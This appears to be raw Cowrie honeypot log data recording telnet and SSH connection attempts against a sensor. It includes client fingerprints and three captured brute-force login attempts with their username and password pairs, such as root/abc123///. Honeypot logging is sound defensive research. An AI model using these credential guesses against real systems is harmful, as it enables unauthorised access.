{"eventid":"cowrie.session.closed","duration":30.248897314071655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:34.156693Z","src_ip":"192.119.108.58","session":"5aafe4209f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44090,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a4ee0be0a1","protocol":"telnet","message":"New connection: 161.132.53.68:44090 (159.203.135.109:23) [session: 90a4ee0be0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:34.481954Z"}
{"eventid":"cowrie.session.closed","duration":31.86977767944336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:34.534831Z","src_ip":"161.132.53.68","session":"64c7fdd37fa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431508779525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:36.262167Z","src_ip":"192.119.108.58","session":"18809305912f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48514,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a596b1b696f","protocol":"telnet","message":"New connection: 192.119.108.58:48514 (159.203.135.109:23) [session: 3a596b1b696f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:40.050974Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47860,"dst_ip":"159.203.135.109","dst_port":23,"session":"4909c0d7fbac","protocol":"telnet","message":"New connection: 192.119.108.58:47860 (159.203.135.109:23) [session: 4909c0d7fbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:41.763239Z"}
{"eventid":"cowrie.session.closed","duration":31.143256425857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:43.161773Z","src_ip":"192.119.108.58","session":"1f5fff2fcb69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113891124725342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:44.212941Z","src_ip":"192.119.108.58","session":"e606c7c3c56d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51544,"dst_ip":"159.203.135.109","dst_port":23,"session":"06cf3669a565","protocol":"telnet","message":"New connection: 192.119.108.58:51544 (159.203.135.109:23) [session: 06cf3669a565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:46.966124Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52242,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e361e81185","protocol":"telnet","message":"New connection: 192.119.108.58:52242 (159.203.135.109:23) [session: 57e361e81185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:48.702731Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57296,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7775414a5c","protocol":"telnet","message":"New connection: 161.132.53.68:57296 (159.203.135.109:23) [session: 7d7775414a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:48.893924Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57310,"dst_ip":"159.203.135.109","dst_port":23,"session":"da78487f8653","protocol":"telnet","message":"New connection: 161.132.53.68:57310 (159.203.135.109:23) [session: da78487f8653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:51.132200Z"}
{"eventid":"cowrie.session.closed","duration":30.724750518798828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:51.524913Z","src_ip":"161.132.53.68","session":"d488764b10c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221052646636963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:51.985987Z","src_ip":"192.119.108.58","session":"1d611c250b4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac5aeb8241c","protocol":"ssh","message":"New connection: 124.18.182.99:54924 (10.17.0.5:22) [session: 7ac5aeb8241c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:53.214465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:53.221230Z","src_ip":"124.18.182.99","session":"7ac5aeb8241c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.722808122634888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:53.249773Z","src_ip":"161.132.53.68","session":"dfa184a49151","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:53.396060Z","src_ip":"124.18.182.99","session":"7ac5aeb8241c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57316,"dst_ip":"159.203.135.109","dst_port":23,"session":"982a28f2b879","protocol":"telnet","message":"New connection: 161.132.53.68:57316 (159.203.135.109:23) [session: 982a28f2b879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:53.685220Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p0stgr3s","message":"login attempt [postgres/p0stgr3s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:54.127802Z","src_ip":"124.18.182.99","session":"7ac5aeb8241c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57322,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d801018c80","protocol":"telnet","message":"New connection: 161.132.53.68:57322 (159.203.135.109:23) [session: 25d801018c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:54.859835Z"}
{"eventid":"cowrie.session.closed","duration":31.889609575271606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:55.042293Z","src_ip":"161.132.53.68","session":"38f5e14cfe12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:55.306130Z","src_ip":"124.18.182.99","session":"7ac5aeb8241c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45336,"dst_ip":"159.203.135.109","dst_port":23,"session":"f281bffc62ab","protocol":"telnet","message":"New connection: 161.132.53.68:45336 (159.203.135.109:23) [session: f281bffc62ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:57.366380Z"}
{"eventid":"cowrie.session.closed","duration":31.593467712402344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:58.809865Z","src_ip":"161.132.53.68","session":"f2d365d23f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f68902c93b33","protocol":"telnet","message":"New connection: 161.132.53.68:45478 (159.203.135.109:23) [session: f68902c93b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:23:59.508857Z"}
{"eventid":"cowrie.session.closed","duration":31.36946749687195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:00.787867Z","src_ip":"161.132.53.68","session":"af6199917f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18446707725525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:01.424966Z","src_ip":"161.132.53.68","session":"ccf8d0c857a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.974982976913452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:01.882996Z","src_ip":"161.132.53.68","session":"2146c79befaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05995845794678,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:02.534632Z","src_ip":"161.132.53.68","session":"67412f5f5276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321711778640747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:03.132438Z","src_ip":"192.119.108.58","session":"6a5a515a846f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37631320953369,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:04.156754Z","src_ip":"161.132.53.68","session":"a034e61051ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45588,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ef02cbee2a","protocol":"telnet","message":"New connection: 161.132.53.68:45588 (159.203.135.109:23) [session: a1ef02cbee2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:05.222447Z"}
{"eventid":"cowrie.session.closed","duration":31.323963403701782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:05.805798Z","src_ip":"161.132.53.68","session":"90a4ee0be0a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":32976,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e9224fb40d","protocol":"telnet","message":"New connection: 192.119.108.58:32976 (159.203.135.109:23) [session: 95e9224fb40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:09.980425Z"}
{"eventid":"cowrie.session.closed","duration":31.088266134262085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:11.138915Z","src_ip":"192.119.108.58","session":"3a596b1b696f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e37b4a7598","protocol":"telnet","message":"New connection: 161.132.53.68:45052 (159.203.135.109:23) [session: f2e37b4a7598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:11.161567Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":47342,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a60a877f17","protocol":"ssh","message":"New connection: 220.119.37.141:47342 (10.17.0.5:22) [session: 65a60a877f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:12.311776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:12.317072Z","src_ip":"220.119.37.141","session":"65a60a877f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58901333808899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:12.352204Z","src_ip":"192.119.108.58","session":"4909c0d7fbac","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:12.515810Z","src_ip":"220.119.37.141","session":"65a60a877f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployhq","password":"deployhq","message":"login attempt [deployhq/deployhq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:13.338369Z","src_ip":"220.119.37.141","session":"65a60a877f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:14.540324Z","src_ip":"220.119.37.141","session":"65a60a877f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.513306856155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:17.479361Z","src_ip":"192.119.108.58","session":"06cf3669a565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"3016c9aeb27b","protocol":"telnet","message":"New connection: 192.119.108.58:36492 (159.203.135.109:23) [session: 3016c9aeb27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:18.640517Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":59402,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f98ad6a7c16","protocol":"ssh","message":"New connection: 223.17.5.126:59402 (159.203.135.109:22) [session: 4f98ad6a7c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:19.338047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:19.561829Z","src_ip":"223.17.5.126","session":"4f98ad6a7c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.863412380218506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:19.566007Z","src_ip":"192.119.108.58","session":"57e361e81185","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:19.772811Z","src_ip":"223.17.5.126","session":"4f98ad6a7c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123///","message":"login attempt [root/abc123///] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:20.599871Z","src_ip":"223.17.5.126","session":"4f98ad6a7c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57886,"dst_ip":"159.203.135.109","dst_port":23,"session":"eab83f2d3135","protocol":"telnet","message":"New connection: 161.132.53.68:57886 (159.203.135.109:23) [session: eab83f2d3135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:20.631790Z"}
{"eventid":"cowrie.session.closed","duration":31.742419004440308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:20.636193Z","src_ip":"161.132.53.68","session":"7d7775414a5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57888,"dst_ip":"159.203.135.109","dst_port":23,"session":"3958f7caf052","protocol":"telnet","message":"New connection: 161.132.53.68:57888 (159.203.135.109:23) [session: 3958f7caf052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:20.842026Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:21.812461Z","src_ip":"223.17.5.126","session":"4f98ad6a7c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117996215820312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:22.250075Z","src_ip":"161.132.53.68","session":"da78487f8653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57900,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5d0e9c8ddb","protocol":"telnet","message":"New connection: 161.132.53.68:57900 (159.203.135.109:23) [session: fc5d0e9c8ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:23.706002Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57912,"dst_ip":"159.203.135.109","dst_port":23,"session":"318db035eb69","protocol":"telnet","message":"New connection: 161.132.53.68:57912 (159.203.135.109:23) [session: 318db035eb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:23.770736Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":57926,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdfd163cc687","protocol":"telnet","message":"New connection: 161.132.53.68:57926 (159.203.135.109:23) [session: cdfd163cc687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:23.931104Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":38136,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f7a92cee5bc","protocol":"ssh","message":"New connection: 114.35.59.237:38136 (10.17.0.5:22) [session: 9f7a92cee5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:25.036034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:25.041241Z","src_ip":"114.35.59.237","session":"9f7a92cee5bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41106,"dst_ip":"159.203.135.109","dst_port":23,"session":"810140c0e498","protocol":"telnet","message":"New connection: 192.119.108.58:41106 (159.203.135.109:23) [session: 810140c0e498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:25.140623Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:24:25.252321Z","src_ip":"114.35.59.237","session":"9f7a92cee5bc","protocol":"ssh"}
